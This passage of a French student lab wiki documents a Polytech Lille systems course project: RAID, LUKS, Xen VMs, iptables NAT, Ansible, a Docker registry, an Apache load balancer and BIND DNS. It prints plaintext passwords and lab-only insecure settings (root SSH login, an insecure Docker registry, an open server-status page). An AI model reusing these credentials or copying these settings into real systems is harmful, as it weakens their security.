 mdadm --remove /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :&lt;br /&gt;
 mdadm --manage /dev/md0 --add /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
===Chiffrement de données===&lt;br /&gt;
&lt;br /&gt;
Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.&lt;br /&gt;
&lt;br /&gt;
Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat /dev/sdb&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.&lt;br /&gt;
 &lt;br /&gt;
 mount /dev/mapper/crypt_sdb /mnt&lt;br /&gt;
&lt;br /&gt;
Puis nous y ajoutons un fichier.&lt;br /&gt;
&lt;br /&gt;
 touch /mnt/test.txt&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.&lt;br /&gt;
&lt;br /&gt;
 umount /mnt&lt;br /&gt;
 cryptsetup luksClose crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présents. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.&lt;br /&gt;
&lt;br /&gt;
===Inspection ARP par un élément réseau===&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation WiFi par WPA2-EAP===&lt;br /&gt;
&lt;br /&gt;
== TP ASR ==&lt;br /&gt;
&lt;br /&gt;
=== Architecture de la ferme ===&lt;br /&gt;
&lt;br /&gt;
Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.  &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1 par rapport à notre autre interface. &lt;br /&gt;
&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ] &lt;br /&gt;
&lt;br /&gt;
Sur notre machine virtuelle côté Capbreton voici la configuration après modification dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface                                                                                                                              &lt;br /&gt;
 auto eth0                                                                                                                                                    &lt;br /&gt;
 iface eth0 inet static                                                                                                                                        &lt;br /&gt;
 address 193.48.57.184                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.255                                                                                                                                      &lt;br /&gt;
 up ip address add dev eth0 100.64.0.24/24                                                                                                                    &lt;br /&gt;
 up ip route add default via 100.64.0.2 src 193.48.57.184                                                                                                     &lt;br /&gt;
 down ip address del dev eth0 100.64.0.24/24                                                                                                                  &lt;br /&gt;
 down ip route del default via 100.64.0.2 src 193.48.57.184                                                                                                                                                                                                                                                               &lt;br /&gt;
 &lt;br /&gt;
 # The secondary network interface                                                                                                                            &lt;br /&gt;
 auto eth1                                                                                                                                                    &lt;br /&gt;
 iface eth1 inet static                                                                                                                                        &lt;br /&gt;
 address 192.168.42.19                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.0 &lt;br /&gt;
&lt;br /&gt;
Nous avons mis en place notre propre mascarade avec les commandes suivantes :&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184&lt;br /&gt;
Ce qui permet à nos paquets en provenance de 192.168.45.5 (machine sur chassiron) de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder à des &amp;quot;apt install&amp;quot; et ne plus être considéré comme des hackeur russes malveillants.&lt;br /&gt;
&lt;br /&gt;
Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier &amp;quot;/etc/sysctl.conf&amp;quot; pour activer l'ip forwarding pour les paquets IPV4.&lt;br /&gt;
&lt;br /&gt;
A la fin de cette partie nous sommes capables de ping les machines entre elles.&lt;br /&gt;
 &lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0                                                                                                               &lt;br /&gt;
 iface eth0 inet static                                                                                                    &lt;br /&gt;
 address 192.168.42.5/24                                                                                                 &lt;br /&gt;
 gateway 192.168.42.19 &lt;br /&gt;
&lt;br /&gt;
Nous avons également modifié notre fichier /etc/resolv.conf :&lt;br /&gt;
 domain plil.info                                                                                                        &lt;br /&gt;
 search plil.info plil.fr                                                                                                &lt;br /&gt;
 nameserver 192.168.42.19&lt;br /&gt;
&lt;br /&gt;
Nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école. A la fin de cette partie la machine sur Chassiron est capable de ping google.&lt;br /&gt;
&lt;br /&gt;
'''Clés SSH'''&lt;br /&gt;
&lt;br /&gt;
Génération d’une paire de clef asymétrique :&lt;br /&gt;
 ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Ces clés sont stocké coté capbreton dans le dossier /.ssh&lt;br /&gt;
&lt;br /&gt;
Par la suite nous installons la clef publique sur nos cibles (les machines sur Chassiron) :&lt;br /&gt;
 cat .ssh/id_rsa.pub | ssh 192.168.42.5 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
Cette manipulation est cruciale pour ansible, sans cette dernière ansible ne peut fonctionner correctement&lt;br /&gt;
&lt;br /&gt;
'''Installation d'Ansible'''&lt;br /&gt;
&lt;br /&gt;
Installation via la commande :&lt;br /&gt;
 apt install ansible&lt;br /&gt;
&lt;br /&gt;
L'étape suivante consiste à créer un inventaire hosts dans /etc/ansible :&lt;br /&gt;
 [webserver]                                                                                                             &lt;br /&gt;
 192.168.42.5                                                                                                                                                                                                                                    &lt;br /&gt;
 &lt;br /&gt;
 [webservers]                                                                                                            &lt;br /&gt;
 192.168.42.5                                                                                                            &lt;br /&gt;
 192.168.42.2                                                                                                            &lt;br /&gt;
 192.168.42.4                                                                                                            &lt;br /&gt;
 192.168.42.7                                                                                                            &lt;br /&gt;
 192.168.42.9                                                                                                            &lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
Ce fichier répertorie nos différentes cibles en séparent webserver qui est une cible ne contenant que notre machine virtuelle secondaire et webservers qui contient l'ensemble des machines virtuelles du groupe 2. Nous pouvons effectuer une première vérification grâce à la commande ansible : &lt;br /&gt;
 ansible webserver -a &amp;quot;lsb_release -d&amp;quot;&lt;br /&gt;
&lt;br /&gt;
L'étape suivant consiste à tester ansible.&lt;br /&gt;
Pour ce faire nous créons un role basic qui contient la tache main.yml, voici son contenu :&lt;br /&gt;
&lt;br /&gt;
 - name: package to be installed                                                                                           &lt;br /&gt;
 apt:                                                                                                                            &lt;br /&gt;
        update_cache: yes                                                                                                       &lt;br /&gt;
        name: &amp;quot;{ { packages } }&amp;quot;                                                                                         &lt;br /&gt;
 vars:                                                                                                                           &lt;br /&gt;
        packages:                                                                                                                       &lt;br /&gt;
                - ntp                                                                                                                   &lt;br /&gt;
                - python3                                                                                                               &lt;br /&gt;
                - python3-pip                                                                                                                                                                                                                 &lt;br /&gt;
 &lt;br /&gt;
 - name: docker                                                                                                            &lt;br /&gt;
 pip:                                                                                                                            &lt;br /&gt;
         name: docker                                                                                                                                                                                                                          &lt;br /&gt;
 &lt;br /&gt;
 - name: maj ntp                                                                                                           &lt;br /&gt;
 copy:                                                                                                                           &lt;br /&gt;
         src: &amp;quot;/etc/ntp.conf&amp;quot;                                                                                                    &lt;br /&gt;
         dest: &amp;quot;/etc/ntp.conf&amp;quot;                                                                                                   &lt;br /&gt;
         owner: root                                                                                                             &lt;br /&gt;
         group: root                                                                                                             &lt;br /&gt;
         mode: '0644'&lt;br /&gt;
                                                                                                                                                                                                                           &lt;br /&gt;
 - name: maj motd                                                                                                          &lt;br /&gt;
 copy:                                                                                                                           &lt;br /&gt;
         src: &amp;quot;/etc/motd&amp;quot;                                                                                                        &lt;br /&gt;
         dest: &amp;quot;/etc/motd&amp;quot;                                                                                                       &lt;br /&gt;
         owner: root                                                                                                             &lt;br /&gt;
         group: root                                                                                                             &lt;br /&gt;
         mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Ce rôle s'assure qui les packages ntp, python3, python3-pip et docker son bien installé et met à jour ntp et motd en copiant leurs configurations qui est présente sur notre machine virtuelle de Capbreton. La modification est bien prise en compte est peut être vérifier en se connectant en ssh sur notre machine de Chassiron via la commande ssh root@192.168.42.5&lt;br /&gt;
&lt;br /&gt;
=== Installation de docker ===&lt;br /&gt;
&lt;br /&gt;
Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :&lt;br /&gt;
&lt;br /&gt;
 - name: package to be installed&lt;br /&gt;
   apt:&lt;br /&gt;
        update_cache: yes&lt;br /&gt;
        name: &amp;quot;{ { packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
        packages:&lt;br /&gt;
                - python3&lt;br /&gt;
                - python3-pip&lt;br /&gt;
&lt;br /&gt;
Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible (récupérer sur ansible galaxy).&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé notre playbook pour déployer nos commandes :&lt;br /&gt;
&lt;br /&gt;
 - hosts: webserver&lt;br /&gt;
   roles:&lt;br /&gt;
          - basic&lt;br /&gt;
          - geerlingguy.docker&lt;br /&gt;
   vars:&lt;br /&gt;
         docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
         docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Création de notre conteneur ===&lt;br /&gt;
&lt;br /&gt;
Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :&lt;br /&gt;
&lt;br /&gt;
 FROM httpd:2.4&lt;br /&gt;
 COPY . /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [&amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé l'image du Dockerfile :&lt;br /&gt;
 docker build -t web .&lt;br /&gt;
&lt;br /&gt;
Puis nous avons lancé notre container&lt;br /&gt;
 docker run -d -p &amp;quot;8085:80&amp;quot; --name web web&lt;br /&gt;
&lt;br /&gt;
Plusieurs commandes nous permettent de vérifier le bon fonctionnement : &lt;br /&gt;
 docker images (Affichage des différentes images docker installées)&lt;br /&gt;
 docker ps -a (Affichage des différents containeurs en cours d'exécution)&lt;br /&gt;
&lt;br /&gt;
Nous avons pu vérifier le bon fonctionnement de celui-ci grâce à la commande suivante :&lt;br /&gt;
 curl 193.48.57.184:8085&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire (après avoir préalablement installer la collection via la commande : ansible-galaxy collection install community.general) :&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Après cela nous avons voulu push notre image &amp;quot;web&amp;quot; vers notre dépôt mais une erreur est survenue, celle-ci vient du fait qu'il fallait rajouter le fichier daemon.json dans le dossier &amp;quot;/etc/docker/&amp;quot; afin de ne pas utiliser une connexion sécurisée.&lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
       &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.5:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier modifié nous avons pu utiliser les commandes :&lt;br /&gt;
 docker tag web 192.168.42.5:5000/webserver&lt;br /&gt;
 docker push 192.168.42.5:5000/webserver&lt;br /&gt;
&lt;br /&gt;
Puis coté chassiron : &lt;br /&gt;
 docker pull 192.168.42.5:5000/webserver&lt;br /&gt;
&lt;br /&gt;
=== Configuration de nos serveurs internes ===&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir déployer nos containeurs sur tous les serveurs disponibles sur Chassiron nous avons d'abord créé notre rôle &amp;quot;new_container&amp;quot; :&lt;br /&gt;
&lt;br /&gt;
 - name: Create a container&lt;br /&gt;
   docker_container:&lt;br /&gt;
          name: amanite_container&lt;br /&gt;
          image: 192.168.42.5:5000/webserver_amanite&lt;br /&gt;
          ports:&lt;br /&gt;
                  - &amp;quot;8085:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Ce rôle permet (après avoir push sur le registry de notre seconde machine virtuelle), d'installer l'image webserver_amanite sur l'ensemble des machines qui sont dans l'hote webservers.&lt;br /&gt;
Sur ces machines virtuelles, il faut également rajouter au fichier daemon.json (dans le dossier /etc/docker) l'ensemble des repository non sécurisés (afin d'y prendre les images).&lt;br /&gt;
&lt;br /&gt;
Puis nous avons déployé notre container grâce à notre playbook :&lt;br /&gt;
&lt;br /&gt;
 - hosts: webservers&lt;br /&gt;
   roles:&lt;br /&gt;
          - new_container&lt;br /&gt;
&lt;br /&gt;
=== Equilibreur de charge ===&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite ajouté le serveur web virtuel reverse.amanite.site, puis nous avons activé les modules apaches suivants (pour l'ensemble de nos étapes) :&lt;br /&gt;
&lt;br /&gt;
 a2enmod proxy&lt;br /&gt;
 a2enmod proxy_http&lt;br /&gt;
 a2enmod proxy_balancer&lt;br /&gt;
 a2enmod lbmethod_byrequests&lt;br /&gt;
&lt;br /&gt;
Pour notre première partie nous avons modifier notre fichier amanite.site.db (qui se situe dans /etc/bind/zones) et nous y avons rajouter la ligne :&lt;br /&gt;
 reverse IN      CNAME   www&lt;br /&gt;
(Nous n'oublions pas d'incrémenter le numéro de version, de signer la zone pour DNSSEC ainsi que redémarrer le service bind9).&lt;br /&gt;
&lt;br /&gt;
Par la suite nous avons rajouter un site dans /etc/apache2/site-available que nous nommons reverse.conf :&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;                                                                                                              &lt;br /&gt;
         ServerName reverse.amanite.site    &lt;br /&gt;
         ServerAdmin lolopierro                                                                                                                                                                                               &lt;br /&gt;
         ProxyPass / http://192.168.42.5:8085                                                                                      &lt;br /&gt;
         ProxyPassReverse / http://192.168.42.5:8085                                                                                                                                                                          &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Que nous ajoutons à nos sites enable via la commande : a2ensite reverse.conf, puis nous redémarrons le service apache2.&lt;br /&gt;
Après cette étape notre site est accessible via l'URL reverse.amanite.site (qui est pour le moment accessible via notre seule machine virtuelle secondaire sur chassiron).&lt;br /&gt;
&lt;br /&gt;
Dans un second temps nous avons modifié notre fichier de configuration reverse.conf afin d'y rajouter de l'équilibrage de charge :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
         ServerName reverse.amanite.site&lt;br /&gt;
         ServerAdmin lolopierro&lt;br /&gt;
         &amp;lt;Proxy &amp;quot;balancer://mycluster&amp;quot;&amp;gt;&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.5:8085&amp;quot; route=1&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.2:8085&amp;quot; route=2&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.4:8085&amp;quot; route=3&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.7:8085&amp;quot; route=4&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.9:8085&amp;quot; route=5&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.12:8085&amp;quot; route=6&lt;br /&gt;
                 ProxySet lbmethod=byrequests&lt;br /&gt;
         &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
         ProxyPass / balancer://mycluster/&lt;br /&gt;
         ProxyPassReverse / balancer://mycluster/&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour vérifier notre loadbalancing nous avons modifié notre page index.html, puis nous avons build notre nouvelle image docker contenant cette page html, nous l'avons push sur le registry et pull depuis notre machine amanite sur Chassiron. Nous avons ensuite relancé notre playbook nous permettant de déployer cette image sur toutes les machines secondaires virtuelles, mais seule notre machine amanite (car nous avons pull sur cette machine) et les machines n'ayant pas eu le déploiement avant ont été actualisé. Cela nous permet de bien vérifier notre loadbalancing.&lt;br /&gt;
&lt;br /&gt;
Une deuxième méthode pour vérifier celui-ci est l'ajout du module status sur apache :&lt;br /&gt;
&lt;br /&gt;
 a2enmod status&lt;br /&gt;
&lt;br /&gt;
Puis nous avons modifié notre fichier de configuration reverse.conf en y ajoutant les lignes suivantes :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;Location &amp;quot;/server-status&amp;quot;&amp;gt;&lt;br /&gt;
          SetHanlder server-status&lt;br /&gt;
          Order Allow,Deny&lt;br /&gt;
          Allow from all&lt;br /&gt;
 &amp;lt;/Location&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Malheureusement nous n'arrivons pas à accéder à la page reverse.amanite.site/server-status malgré les différentes recherches effectuées.&lt;/div&gt;</summary>
		<author><name>Psanchez</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=55274</id>
		<title>TP sysres IMA5sc 2020/2021 G5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=55274"/>
				<updated>2020-12-28T13:48:04Z</updated>
		
		<summary type="html">&lt;p&gt;Psanchez : /* Equilibreur de charge */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 5&lt;br /&gt;
| amanite.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 305&lt;br /&gt;
| 100.64.0.24&lt;br /&gt;
| 255.255.255.0&lt;br /&gt;
| 100.64.0.254&lt;br /&gt;
| 100.64.0.1&lt;br /&gt;
| 100.64.0.2&lt;br /&gt;
| 193.48.57.184&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh :&lt;br /&gt;
&lt;br /&gt;
ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Création de la VM Xen :&lt;br /&gt;
&lt;br /&gt;
&amp;gt; su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)&lt;br /&gt;
&lt;br /&gt;
&amp;gt; xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster &lt;br /&gt;
&lt;br /&gt;
Résultat de la commande :&lt;br /&gt;
 General Information&lt;br /&gt;
 --------------------&lt;br /&gt;
 Hostname       :  amanite&lt;br /&gt;
 Distribution   :  buster&lt;br /&gt;
 Mirror         :  http://deb.debian.org/debian&lt;br /&gt;
 Partitions     :  swap            512M  (swap)&lt;br /&gt;
                  /               4G    (ext4)&lt;br /&gt;
 Image type     :  sparse&lt;br /&gt;
 Memory size    :  256M&lt;br /&gt;
 Kernel path    :  /boot/vmlinuz-4.19.0-9-amd64&lt;br /&gt;
 Initrd path    :  /boot/initrd.img-4.19.0-9-amd64&lt;br /&gt;
&lt;br /&gt;
 Networking Information&lt;br /&gt;
 ----------------------&lt;br /&gt;
 IP Address 1   : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]&lt;br /&gt;
 Netmask        : 255.255.255.0&lt;br /&gt;
 Gateway        : 100.64.0.5&lt;br /&gt;
&lt;br /&gt;
===Configuration des LV===&lt;br /&gt;
&lt;br /&gt;
Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite1&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite2&lt;br /&gt;
&lt;br /&gt;
Nous avons par la suite modifié le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :&lt;br /&gt;
&lt;br /&gt;
Dans la fonction Disk Device(s) :&lt;br /&gt;
 disk = [&lt;br /&gt;
 ...&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez1,xvdav3,w'&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez2,xvdav4,w'&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
Puis dans Networking :&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ...']&lt;br /&gt;
&lt;br /&gt;
===Création et configuration de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Lorsque nous nous sommes connectés en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
*Commandes utiles&lt;br /&gt;
** Affichage de l'ensemble des VM présente sur capbreton : xl list&lt;br /&gt;
** Se connecter à la VM : xen console amanite&lt;br /&gt;
 Identifiant de la machine : root&lt;br /&gt;
 Mdp de la machine : pasglop&lt;br /&gt;
&lt;br /&gt;
'''Suite de la configuration'''&lt;br /&gt;
&lt;br /&gt;
Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4  à l'aide des commandes : &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda3 &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 root@amanite:~# mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mv /var/* /mnt/xvda4.&lt;br /&gt;
&lt;br /&gt;
Puis nous démontons (umount) nos deux volumes.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite /ect/fstab en ajoutant :&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Puis nous les montons à l'aide de la commande : &lt;br /&gt;
 mount -a &lt;br /&gt;
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage : &lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk /var&lt;br /&gt;
&lt;br /&gt;
==Service Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
Installation d'un serveur ssh, accessible grâce à la commande :&lt;br /&gt;
 ssh root@amanite.site&lt;br /&gt;
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par louer un nom de domaine sur gandi.net :&lt;br /&gt;
 amanite.site&lt;br /&gt;
Nous avons ensuite installé le package bind9.&lt;br /&gt;
&lt;br /&gt;
Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/zones/amanite.site.db :&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.amanite.site. postmaster.amanite.site. (&lt;br /&gt;
                              6         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.amanite.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	 IN 	 MX	 42 ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.184&lt;br /&gt;
 www     IN      A       193.48.57.184&lt;br /&gt;
 ns1     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
 www     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/name.conf.options&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
 	directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 	dnssec-validation auto;&lt;br /&gt;
 	listen-on-v6 { any; };&lt;br /&gt;
 	allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;;};&lt;br /&gt;
 };&lt;br /&gt;
 &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
     217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net nous lions ns1.amanite.site à 193.48.57.184 grâce à l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.&lt;br /&gt;
 ns1.amanite.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :&lt;br /&gt;
 host -t any ns1.amanite.site localhost&lt;br /&gt;
 host -t any ns1.amanite.site&lt;br /&gt;
&lt;br /&gt;
ou se servir de nslookup.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.&lt;br /&gt;
Cette ligne de commande nous permet de lancer la procédure de création :&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr&lt;br /&gt;
&lt;br /&gt;
 Country Name (2 letter code) [AU]:FR&lt;br /&gt;
 State or Province Name (full name) [Some-State]:France&lt;br /&gt;
 Locality Name (eg, city) []:Lille&lt;br /&gt;
 Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech&lt;br /&gt;
 Organizational Unit Name (eg, section) []:IMA&lt;br /&gt;
 Common Name (e.g. server FQDN or YOUR name) []:amanite.site&lt;br /&gt;
 Email Address []:admin@amanite.site&lt;br /&gt;
 &lt;br /&gt;
 Please enter the following 'extra' attributes&lt;br /&gt;
 to be sent with your certificate request&lt;br /&gt;
 A challenge password []:glopglop&lt;br /&gt;
 An optional company name []:&lt;br /&gt;
&lt;br /&gt;
